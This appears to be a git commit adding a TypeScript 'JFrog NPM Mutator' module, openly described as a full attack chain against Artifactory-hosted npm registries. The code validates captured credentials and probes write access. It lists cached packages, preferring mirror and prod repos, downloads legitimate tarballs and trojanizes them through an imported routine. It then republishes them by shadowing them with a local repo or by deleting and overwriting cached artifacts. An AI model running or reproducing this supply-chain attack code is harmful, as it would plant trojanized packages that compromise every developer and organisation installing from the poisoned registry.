Upload files to "src/mutator/jfrognpm"

This commit is contained in:
2026-07-03 03:14:06 +00:00
parent 2710dab298
commit 5aa5efb54b
4 changed files with 1093 additions and 0 deletions
+215
View File
@@ -0,0 +1,215 @@
// JFrog Artifactory credential validation.
// Supports API keys (X-JFrog-Art-Api), Bearer tokens (JWT + reftkn), and Basic auth.
import { logUtil } from "../../utils/logger";
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export type JfrogCredentialType = "api-key" | "bearer" | "basic";
export interface JfrogCredential {
type: JfrogCredentialType;
value: string;
}
export interface JfrogSession {
baseUrl: string;
credential: JfrogCredential;
username: string;
isAdmin: boolean;
canWrite: boolean;
npmRepos: string[];
}
// ---------------------------------------------------------------------------
// Credential detection
// ---------------------------------------------------------------------------
/**
* Auto-detect the credential type from its format.
* - JWT access tokens start with "eyJ" → Bearer
* - Reference tokens start with "cmVmdGtu" (base64 of "reftkn") → Bearer
* - Contains ":" → Basic auth
* - Everything else → API key (X-JFrog-Art-Api header)
*/
export function detectCredential(raw: string): JfrogCredential {
if (raw.startsWith("eyJ") || raw.startsWith("cmVmdGtu")) {
return { type: "bearer", value: raw };
}
if (raw.includes(":") || (raw.length < 60 && raw.includes("="))) {
return { type: "basic", value: raw };
}
return { type: "api-key", value: raw };
}
export function authHeader(cred: JfrogCredential): Record<string, string> {
switch (cred.type) {
case "api-key":
return { "X-JFrog-Art-Api": cred.value };
case "bearer":
return { Authorization: `Bearer ${cred.value}` };
case "basic":
return { Authorization: `Basic ${cred.value}` };
}
}
// ---------------------------------------------------------------------------
// Validation
// ---------------------------------------------------------------------------
export interface ValidationResult {
valid: boolean;
session: JfrogSession | null;
error?: string;
}
/**
* Full credential validation pipeline:
* 1. Ping (best-effort; reference tokens often lack system access)
* 2. Resolve username
* 3. Enumerate npm repos
* 4. Test write access with a probe package
*/
export async function validateCredentials(
baseUrl: string,
cred: JfrogCredential,
): Promise<ValidationResult> {
const headers = authHeader(cred);
// Step 1 — Ping
let pingOk = false;
const pingUrl = `${baseUrl}/api/system/ping`;
logUtil.log(`[jfrognpm] [1/4] PING ${pingUrl}`);
try {
const ping = await fetch(pingUrl, { headers });
pingOk = ping.status === 200;
logUtil.log(
`[jfrognpm] → ${ping.status} ${pingOk ? "OK" : "(scoped token — expected)"}`,
);
} catch {
logUtil.log(`[jfrognpm] → connection failed`);
}
// Step 2 — Resolve username
logUtil.log(`[jfrognpm] [2/4] WHOAMI ${baseUrl}/api/v1/system/me`);
let username = "unknown";
let isAdmin = false;
try {
const meRes = await fetch(`${baseUrl}/api/v1/system/me`, { headers });
if (meRes.ok) {
const me = (await meRes.json()) as any;
username = me.username ?? me.name ?? "unknown";
isAdmin = me.admin ?? false;
logUtil.log(`[jfrognpm] → ${username} (admin=${isAdmin})`);
} else {
logUtil.log(`[jfrognpm] → ${meRes.status} — continuing`);
}
} catch {
logUtil.log(`[jfrognpm] → failed — continuing`);
}
// Step 3 — Enumerate npm repos
logUtil.log(
`[jfrognpm] [3/4] LIST ${baseUrl}/api/repositories?packageType=npm`,
);
let npmRepos: string[] = [];
try {
const repoRes = await fetch(`${baseUrl}/api/repositories?packageType=npm`, {
headers,
});
if (repoRes.ok) {
const repos = (await repoRes.json()) as any[];
npmRepos = (repos ?? []).map((r: any) => r.key);
logUtil.log(
`[jfrognpm] → ${npmRepos.length} repo(s): ${npmRepos.join(", ") || "(none)"}`,
);
} else {
logUtil.log(`[jfrognpm] → ${repoRes.status}`);
}
} catch (e) {
logUtil.log(`[jfrognpm] → failed: ${e}`);
}
if (!pingOk && npmRepos.length === 0) {
return {
valid: false,
session: null,
error: `Token rejected — unable to ping or list npm repos`,
};
}
// Step 4 — Test write access
logUtil.log(
`[jfrognpm] [4/4] WRITE probe — PUT then DELETE __jfrog_sec_test__`,
);
let canWrite = false;
const testPkg = "__jfrog_sec_test__";
for (const repo of npmRepos) {
const putUrl = `${baseUrl}/api/npm/${repo}/${encodeURIComponent(testPkg)}`;
logUtil.log(`[jfrognpm] PUT ${putUrl}`);
try {
const testBody = JSON.stringify({
name: testPkg,
version: "1.0.0",
_id: testPkg,
"dist-tags": { latest: "1.0.0" },
versions: {
"1.0.0": {
name: testPkg,
version: "1.0.0",
dist: {
tarball: `${baseUrl}/api/npm/${repo}/${testPkg}/-/${testPkg}-1.0.0.tgz`,
},
},
},
_attachments: {
[`${testPkg}-1.0.0.tgz`]: {
content_type: "application/octet-stream",
data: Buffer.from(
"H4sIAAAAAAAAA+3RMQrDMAwF0F6n8ClstNKgSw/RM3RSJ4dGSDAl/+8vxCVkKrR07/J/8VkTe3ZwXntq5cL1PA+bD/o1rNjt+pl51QfWVbFqjW5vsDWecAoR57/vawEAAA==",
"base64",
).toString(),
length: 44,
},
},
});
const putRes = await fetch(putUrl, {
method: "PUT",
headers: { ...headers, "Content-Type": "application/json" },
body: testBody,
});
if (putRes.ok || putRes.status === 409) {
canWrite = true;
logUtil.log(
`[jfrognpm] → ${putRes.status} — WRITE CONFIRMED on ${repo}`,
);
} else {
logUtil.log(`[jfrognpm] → ${putRes.status} — no write access`);
}
logUtil.log(`[jfrognpm] DELETE ${putUrl}`);
await fetch(putUrl, { method: "DELETE", headers }).catch(() => {});
} catch (e) {
logUtil.log(`[jfrognpm] → error: ${e}`);
}
if (canWrite) break;
}
return {
valid: true,
session: {
baseUrl,
credential: cred,
username,
isAdmin,
canWrite,
npmRepos,
},
};
}
+383
View File
@@ -0,0 +1,383 @@
// JFrog NPM Mutator
//
// Full attack chain for JFrog Artifactory-hosted npm registries:
// 1. Validate credentials against the Artifactory instance
// 2. Enumerate npm repos (local, remote, virtual) and cached packages
// 3. Download legitimate tarballs through the Artifactory proxy
// 4. Trojanize each tarball (reuses the shared tarball.ts pipeline)
// 5. Republish via local shadowing or cache overwrite
//
// Usage:
// const mutator = new JfrogNpmMutator(session, { packages: ["lodash"] });
// await mutator.execute();
import { $ } from "bun";
import { createWriteStream } from "fs";
import * as fs from "fs/promises";
import { join } from "path";
import { Readable } from "stream";
import { pipeline } from "stream/promises";
import { logUtil } from "../../utils/logger";
import { Mutator } from "../base";
import { updateTarball } from "../npm/tarball";
import { type JfrogSession } from "./auth";
import { type PublishResult, publishToJfrog } from "./publish";
import {
enumerateNpmRepos,
fetchPackageVersion,
findShadowRepo,
listCachedPackages,
type NpmRepoInfo,
type PackageVersionInfo,
} from "./registry";
// ---------------------------------------------------------------------------
// Repo prioritization — mirror/prod first
// ---------------------------------------------------------------------------
const PRIORITY_TERMS = ["mirror", "prod"] as const;
function repoPriorityScore(key: string): number {
const lower = key.toLowerCase();
for (const term of PRIORITY_TERMS) {
if (lower.includes(term)) return -1;
}
return 0;
}
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export interface JfrogNpmOptions {
/**
* Explicit package names to target. If omitted, the mutator enumerates
* all cached packages from accessible repos.
*/
packages?: string[];
/**
* Maximum number of packages to process **per repo**.
* @default 50
*/
maxPackages?: number;
/**
* Prefer cache overwrite over local publish, even if a local repo exists.
* @default false
*/
forceCacheOverwrite?: boolean;
/**
* Only enumerate and list targetable packages — do not download,
* trojanize, or republish anything.
* @default true
*/
reconOnly?: boolean;
}
export interface JfrogNpmReport {
totalPackages: number;
published: number;
failed: number;
results: PublishResult[];
}
// ---------------------------------------------------------------------------
// JfrogNpmMutator
// ---------------------------------------------------------------------------
export class JfrogNpmMutator extends Mutator {
private readonly session: JfrogSession;
private readonly options: Required<JfrogNpmOptions>;
private repoMap: Map<string, NpmRepoInfo> = new Map();
private shadowRepo: string | null = null;
constructor(session: JfrogSession, options: JfrogNpmOptions = {}) {
super();
this.session = session;
this.options = {
packages: options.packages ?? [],
maxPackages: options.maxPackages ?? 50,
forceCacheOverwrite: options.forceCacheOverwrite ?? false,
reconOnly: options.reconOnly ?? true,
};
}
// -----------------------------------------------------------------------
// Guard
// -----------------------------------------------------------------------
override async shouldExecute(): Promise<boolean> {
if (!this.session.canWrite) {
logUtil.log("[jfrognpm] No write access detected — skipping mutation");
return false;
}
return true;
}
// -----------------------------------------------------------------------
// Main execution
// -----------------------------------------------------------------------
override async execute(): Promise<Boolean> {
try {
// Resolve target packages (uses session.npmRepos directly, no per-repo fetch)
const packages = await this.resolvePackages();
if (this.options.reconOnly) {
return this.executeRecon(packages);
}
// Execute mode: need repo map + shadow repo for publish routing
this.repoMap = new Map(
(await enumerateNpmRepos(this.session)).map((r) => [r.key, r]),
);
this.shadowRepo = this.options.forceCacheOverwrite
? null
: findShadowRepo([...this.repoMap.values()]);
return this.executeFull(packages);
} catch (e) {
logUtil.error(e);
logUtil.error("[jfrognpm] Mutator execution failed");
return false;
}
}
// -----------------------------------------------------------------------
// Recon mode — list packages, do NOT replace
// -----------------------------------------------------------------------
private executeRecon(
packages: Array<{ name: string; repo: string; version: string }>,
): boolean {
if (packages.length === 0) {
logUtil.error("No targetable packages found.");
return false;
}
for (const pkg of packages) {
logUtil.error(
` ${pkg.name.padEnd(40)} @${pkg.version.padEnd(12)} repo=${pkg.repo}`,
);
}
return true;
}
// -----------------------------------------------------------------------
// Full execution — download, trojanize, republish
// -----------------------------------------------------------------------
private async executeFull(
packages: Array<{ name: string; repo: string; version: string }>,
): Promise<boolean> {
if (packages.length === 0) {
logUtil.log("[jfrognpm] No target packages found.");
return false;
}
logUtil.log(
`[jfrognpm] Targeting ${packages.length} package(s):`,
packages.map((p) => p.name).join(", "),
);
if (this.shadowRepo) {
logUtil.log(`[jfrognpm] Shadow repo for publishing: ${this.shadowRepo}`);
} else {
logUtil.log("[jfrognpm] No shadow local repo — will use cache overwrite");
}
logUtil.log("[jfrognpm] Downloading and trojanizing packages...");
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
const report: JfrogNpmReport = {
totalPackages: packages.length,
published: 0,
failed: 0,
results: [],
};
for (const pkg of packages) {
try {
logUtil.log(`[jfrognpm] processing ${pkg.name}...`);
const result = await this.processPackage(pkg, tmpDir);
report.results.push(result);
if (result.success) {
report.published++;
} else {
report.failed++;
}
} catch (e) {
report.failed++;
logUtil.log(`[jfrognpm] Unhandled error for ${pkg.name}: ${e}`);
}
}
await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {});
logUtil.log(
`[jfrognpm] Done. ${report.published} published, ${report.failed} failed.`,
);
return report.published > 0;
}
// -----------------------------------------------------------------------
// Package resolution
// -----------------------------------------------------------------------
private async resolvePackages(): Promise<
Array<{ name: string; repo: string; version: string }>
> {
// Sort by priority: repos with "mirror"/"prod" first
const targetRepos = [...this.session.npmRepos].sort(
(a, b) => repoPriorityScore(a) - repoPriorityScore(b),
);
if (this.options.packages.length > 0) {
const sourceRepo = targetRepos[0];
if (!sourceRepo) return [];
const resolved: Array<{ name: string; repo: string; version: string }> =
[];
for (const pkgName of this.options.packages) {
const meta = await fetchPackageVersion(
this.session,
sourceRepo,
pkgName,
);
if (meta) {
resolved.push({
name: meta.name,
repo: sourceRepo,
version: meta.version,
});
}
}
return resolved;
}
// Auto-enumerate from all repos — maxPackages per repo
const packages: Array<{ name: string; repo: string; version: string }> = [];
for (const repoKey of targetRepos) {
let repoCount = 0;
const cached = await listCachedPackages(this.session, repoKey);
if (cached.length < 10) {
continue;
}
for (const pkg of cached) {
if (repoCount >= this.options.maxPackages) break;
const meta = await fetchPackageVersion(this.session, repoKey, pkg.name);
if (meta) {
packages.push({
name: meta.name,
repo: repoKey,
version: meta.version,
});
repoCount++;
}
}
}
return packages;
}
// -----------------------------------------------------------------------
// Per-package processing
// -----------------------------------------------------------------------
private async processPackage(
pkg: { name: string; repo: string; version: string },
tmpDir: string,
): Promise<PublishResult> {
const meta = await fetchPackageVersion(this.session, pkg.repo, pkg.name);
if (!meta) {
return {
success: false,
method: "local",
repo: pkg.repo,
pkgName: pkg.name,
version: pkg.version,
error: "Failed to resolve package metadata",
};
}
const tarballPath = await this.downloadTarball(meta, tmpDir);
if (!tarballPath) {
return {
success: false,
method: "local",
repo: pkg.repo,
pkgName: meta.name,
version: meta.version,
error: "Failed to download tarball",
};
}
let trojanizedPath: string;
try {
trojanizedPath = await updateTarball(tarballPath, {
tag: "[jfrognpm]",
addBunDep: true,
});
} catch (e) {
return {
success: false,
method: "local",
repo: pkg.repo,
pkgName: meta.name,
version: meta.version,
error: `Tarball modification failed: ${e}`,
};
}
let targetRepo: string;
let targetType: string;
if (this.shadowRepo) {
targetRepo = this.shadowRepo;
targetType = "local";
} else {
targetRepo = pkg.repo;
targetType = this.repoMap.get(pkg.repo)?.type ?? "remote";
}
return publishToJfrog(this.session, trojanizedPath, targetRepo, targetType);
}
// -----------------------------------------------------------------------
// Tarball download helper
// -----------------------------------------------------------------------
private async downloadTarball(
meta: PackageVersionInfo,
tmpDir: string,
): Promise<string | null> {
try {
const res = await fetch(meta.tarballUrl);
if (!res.ok || !res.body) {
logUtil.log(`[jfrognpm] Failed to fetch tarball: ${meta.tarballUrl}`);
return null;
}
const safeName = meta.name.replace("@", "").replace("/", "-");
const filename = `${safeName}-${meta.version}.tgz`;
const dest = join(tmpDir, filename);
await pipeline(
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
createWriteStream(dest),
);
return dest;
} catch (e) {
logUtil.log(`[jfrognpm] Tarball download error: ${e}`);
return null;
}
}
}
+330
View File
@@ -0,0 +1,330 @@
// Publish (or replace) npm packages in JFrog Artifactory.
//
// Two strategies:
// 1. **Local publish** — PUT to a local repo. If the local repo is included
// in a virtual repo's resolution order *before* the remote, the trojanized
// package shadows the legitimate one for all consumers of the virtual.
// 2. **Cache overwrite** — Directly replace the cached .tgz artifact in a
// remote repository via the Artifactory REST API.
//
// Strategy 1 is preferred (cleaner, normal npm publish flow).
// Strategy 2 is a fallback when no writable local repo is available.
import { createHash } from "node:crypto";
import { readFile } from "node:fs/promises";
import { gunzipSync } from "node:zlib";
import { logUtil } from "../../utils/logger";
import { authHeader, type JfrogSession } from "./auth";
declare function scramble(str: string): string;
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export type PublishMethod = "local" | "cache-overwrite";
export interface PublishResult {
success: boolean;
method: PublishMethod;
repo: string;
pkgName: string;
version: string;
error?: string;
}
interface PackageJson {
name: string;
version: string;
readme?: string;
[key: string]: unknown;
}
// ---------------------------------------------------------------------------
// Package.json extraction (mirrors npm/publish.ts)
// ---------------------------------------------------------------------------
function extractPackageJson(tar: Buffer): PackageJson {
let offset = 0;
while (offset + 512 <= tar.length) {
const header = tar.subarray(offset, offset + 512);
if (header[0] === 0) break;
const nameField = header.subarray(0, 100);
const nameEnd = nameField.indexOf(0);
const name = nameField
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
.toString("utf8");
const sizeStr = header
.subarray(124, 136)
.toString("utf8")
.replace(/\0/g, "")
.trim();
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
offset += 512;
if (name === "package/package.json" || name.endsWith("/package.json")) {
const data = tar.subarray(offset, offset + size);
return JSON.parse(data.toString("utf8")) as PackageJson;
}
offset += Math.ceil(size / 512) * 512;
}
throw new Error("package.json not found in tarball");
}
// ---------------------------------------------------------------------------
// Strategy 1: Publish to a local repo (npm PUT endpoint)
// ---------------------------------------------------------------------------
/**
* Publish a trojanized tarball to an Artifactory local npm repo via the
* standard npm publish protocol (PUT).
*
* The registry endpoint is:
* PUT {baseUrl}/api/npm/{repoKey}/{encodedPkgName}
*
* This is the same protocol as `npm publish --registry=...`.
*/
async function publishToLocal(
session: JfrogSession,
tarballPath: string,
repoKey: string,
): Promise<PublishResult> {
const headers = authHeader(session.credential);
const tarballBuffer = await readFile(tarballPath);
const decompressed = gunzipSync(tarballBuffer);
const pkg = extractPackageJson(decompressed);
const { name, version } = pkg;
if (!name || !version) {
return {
success: false,
method: "local",
repo: repoKey,
pkgName: name ?? "unknown",
version: version ?? "unknown",
error: "package.json missing required 'name' or 'version'",
};
}
const integrity =
"sha512-" + createHash("sha512").update(tarballBuffer).digest("base64");
const shasum = createHash("sha1").update(tarballBuffer).digest("hex");
const base64Data = tarballBuffer.toString("base64");
const tarballFilename = `${name}-${version}.tgz`;
const tarballUrl = `${session.baseUrl}/api/npm/${repoKey}/${name}/-/${tarballFilename}`;
const versionMetadata = {
...pkg,
name,
version,
readme: pkg.readme ?? "ERROR: No README data found!",
dist: { integrity, shasum, tarball: tarballUrl },
};
const body = {
_id: name,
name,
"dist-tags": { latest: version },
versions: { [version]: versionMetadata },
access: "public",
_attachments: {
[tarballFilename]: {
content_type: "application/octet-stream",
data: base64Data,
length: tarballBuffer.length,
},
} as Record<string, { content_type: string; data: string; length: number }>,
};
const encodedName = encodeURIComponent(name).replace("%40", "@");
const url = `${session.baseUrl}/api/npm/${repoKey}/${encodedName}`;
try {
const res = await fetch(url, {
method: "PUT",
headers: {
...headers,
"Content-Type": "application/json",
},
body: JSON.stringify(body),
});
if (res.ok) {
logUtil.log(
`[jfrognpm] Published ${name}@${version} to local repo ${repoKey}`,
);
return {
success: true,
method: "local",
repo: repoKey,
pkgName: name,
version,
};
}
const errorText = await res.text().catch(() => "");
return {
success: false,
method: "local",
repo: repoKey,
pkgName: name,
version,
error: `HTTP ${res.status}${errorText.slice(0, 300)}`,
};
} catch (e) {
return {
success: false,
method: "local",
repo: repoKey,
pkgName: name,
version,
error: e instanceof Error ? e.message : String(e),
};
}
}
// ---------------------------------------------------------------------------
// Strategy 2: Overwrite remote cache artifact
// ---------------------------------------------------------------------------
/**
* Overwrite a cached package tarball in a remote Artifactory repository.
*
* Steps:
* 1. DELETE the existing cached .tgz artifact
* 2. PUT the trojanized .tgz in its place
* 3. POST a reindex to force metadata recalculation
*
* The cache artifact path is:
* {baseUrl}/{repoKey}/{pkgName}/-/{pkgName}-{version}.tgz
*/
async function overwriteCacheArtifact(
session: JfrogSession,
tarballPath: string,
repoKey: string,
pkgName: string,
pkgVersion: string,
): Promise<PublishResult> {
const headers = authHeader(session.credential);
const tarballBuffer = await readFile(tarballPath);
const tarballFilename = `${pkgName}-${pkgVersion}.tgz`;
// Build the cache path. Scoped packages have / in the URL.
const cachePath = `/${repoKey}/${encodeURIComponent(pkgName)}/-/${tarballFilename}`;
const artifactUrl = `${session.baseUrl}${cachePath}`;
const sha1 = createHash("sha1").update(tarballBuffer).digest("hex");
try {
// Step 1 — Delete existing cached artifact
logUtil.log(`[jfrognpm] Deleting cached artifact: ${artifactUrl}`);
const delRes = await fetch(artifactUrl, {
method: "DELETE",
headers,
});
if (!delRes.ok) {
logUtil.log(
`[jfrognpm] Delete returned ${delRes.status} — artifact may not exist yet, continuing`,
);
}
// Step 2 — Upload the replacement
logUtil.log(`[jfrognpm] Uploading replacement: ${artifactUrl}`);
const putRes = await fetch(artifactUrl, {
method: "PUT",
headers: {
...headers,
"Content-Type": "application/octet-stream",
"X-Checksum-Sha1": sha1,
},
body: tarballBuffer,
});
if (!putRes.ok) {
const errorText = await putRes.text().catch(() => "");
return {
success: false,
method: "cache-overwrite",
repo: repoKey,
pkgName,
version: pkgVersion,
error: `PUT failed: HTTP ${putRes.status}${errorText.slice(0, 300)}`,
};
}
// Step 3 — Reindex to force metadata recalculation
const reindexUrl = `${session.baseUrl}/api/npm/${repoKey}/reindex/${encodeURIComponent(pkgName)}`;
logUtil.log(`[jfrognpm] Reindexing: ${reindexUrl}`);
await fetch(reindexUrl, { method: "POST", headers }).catch((e) => {
logUtil.log(`[jfrognpm] Reindex failed (non-fatal): ${e}`);
});
logUtil.log(
`[jfrognpm] Cache overwrite for ${pkgName}@${pkgVersion} in ${repoKey}`,
);
return {
success: true,
method: "cache-overwrite",
repo: repoKey,
pkgName,
version: pkgVersion,
};
} catch (e) {
return {
success: false,
method: "cache-overwrite",
repo: repoKey,
pkgName,
version: pkgVersion,
error: e instanceof Error ? e.message : String(e),
};
}
}
// ---------------------------------------------------------------------------
// Unified publish entry point
// ---------------------------------------------------------------------------
/**
* Publish a trojanized tarball to an Artifactory npm repo.
*
* Tries local publish first (strategy 1). Falls back to cache overwrite
* (strategy 2) if the target repo is remote/federated or local publish fails
* with a permission error.
*/
export async function publishToJfrog(
session: JfrogSession,
tarballPath: string,
repoKey: string,
repoType: string,
): Promise<PublishResult> {
const tarballBuffer = await readFile(tarballPath);
const decompressed = gunzipSync(tarballBuffer);
const pkg = extractPackageJson(decompressed);
if (repoType === "local") {
// Prefer local npm publish
const result = await publishToLocal(session, tarballPath, repoKey);
if (result.success) return result;
// If local publish fails with 403/405, don't try cache overwrite
// on a local repo — it doesn't make sense.
logUtil.log(`[jfrognpm] Local publish failed: ${result.error}`);
return result;
}
// Remote / virtual / federated — use cache overwrite
return overwriteCacheArtifact(
session,
tarballPath,
repoKey,
pkg.name ?? "unknown",
pkg.version ?? "0.0.0",
);
}
+165
View File
@@ -0,0 +1,165 @@
// Artifactory npm registry enumeration.
// Queries repository storage listings to discover cached packages.
import { logUtil } from "../../utils/logger";
import { authHeader, type JfrogSession } from "./auth";
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export type RepoType = "local" | "remote" | "virtual" | "federated";
export interface NpmRepoInfo {
key: string;
type: RepoType;
url?: string;
repositories?: string[];
}
export interface CachedPackage {
name: string;
repo: string;
uri: string;
}
export interface PackageVersionInfo {
name: string;
version: string;
tarballUrl: string;
}
// ---------------------------------------------------------------------------
// Repo enumeration
// ---------------------------------------------------------------------------
export async function enumerateNpmRepos(
session: JfrogSession,
): Promise<NpmRepoInfo[]> {
const headers = authHeader(session.credential);
const results: NpmRepoInfo[] = [];
for (const repoKey of session.npmRepos) {
try {
console.error(` fetching repo info: ${repoKey}...`);
const res = await fetch(
`${session.baseUrl}/api/repositories/${repoKey}`,
{ headers },
);
if (!res.ok) {
console.error(`${res.status}, skipping`);
continue;
}
const raw = (await res.json()) as any;
console.error(` → type=${raw.rclass ?? raw.packageType ?? "?"}`);
results.push({
key: raw.key,
type: raw.rclass ?? raw.packageType ?? "local",
url: raw.url ?? undefined,
repositories: raw.repositories ?? undefined,
});
} catch (e) {
logUtil.log(`[jfrognpm] Failed to fetch repo info for ${repoKey}: ${e}`);
}
}
return results;
}
// ---------------------------------------------------------------------------
// Package enumeration
// ---------------------------------------------------------------------------
export async function listCachedPackages(
session: JfrogSession,
repoKey: string,
): Promise<CachedPackage[]> {
const headers = authHeader(session.credential);
const packages: CachedPackage[] = [];
const url = `${session.baseUrl}/api/storage/${repoKey}`;
try {
const res = await fetch(url, { headers });
if (!res.ok) {
logUtil.log(
`[jfrognpm] Storage listing failed for ${repoKey}: HTTP ${res.status}`,
);
return packages;
}
const data = (await res.json()) as {
children?: Array<{ uri: string; folder: boolean }>;
};
for (const child of data.children ?? []) {
if (!child.folder) continue;
const rawName = child.uri.replace(/^\//, "");
if (!rawName || rawName === "." || rawName.startsWith(".")) continue;
packages.push({
name: decodeURIComponent(rawName),
repo: repoKey,
uri: child.uri,
});
}
} catch (e) {
logUtil.log(`[jfrognpm] Error listing ${repoKey}: ${e}`);
}
return packages;
}
// ---------------------------------------------------------------------------
// Package metadata
// ---------------------------------------------------------------------------
export async function fetchPackageVersion(
session: JfrogSession,
repoKey: string,
pkgName: string,
): Promise<PackageVersionInfo | null> {
const headers = authHeader(session.credential);
const encoded = encodeURIComponent(pkgName).replace("%40", "@");
const url = `${session.baseUrl}/api/npm/${repoKey}/${encoded}`;
try {
const res = await fetch(url, { headers });
if (!res.ok) return null;
const meta = (await res.json()) as {
"dist-tags"?: { latest?: string };
versions?: Record<string, { dist?: { tarball?: string } }>;
};
const version = meta["dist-tags"]?.latest;
if (!version) return null;
const versionInfo = meta.versions?.[version];
if (!versionInfo?.dist?.tarball) return null;
return { name: pkgName, version, tarballUrl: versionInfo.dist.tarball };
} catch (e) {
logUtil.log(`[jfrognpm] Metadata fetch failed for ${pkgName}: ${e}`);
return null;
}
}
// ---------------------------------------------------------------------------
// Virtual repo resolution (execute mode only)
// ---------------------------------------------------------------------------
export function findShadowRepo(repos: NpmRepoInfo[]): string | null {
const localRepos = repos.filter((r) => r.type === "local");
const virtualRepos = repos.filter((r) => r.type === "virtual");
for (const virt of virtualRepos) {
const order = virt.repositories ?? [];
for (const includedKey of order) {
const match = localRepos.find((l) => l.key === includedKey);
if (match) return match.key;
}
}
if (localRepos.length > 0) return localRepos[0]!.key;
return null;
}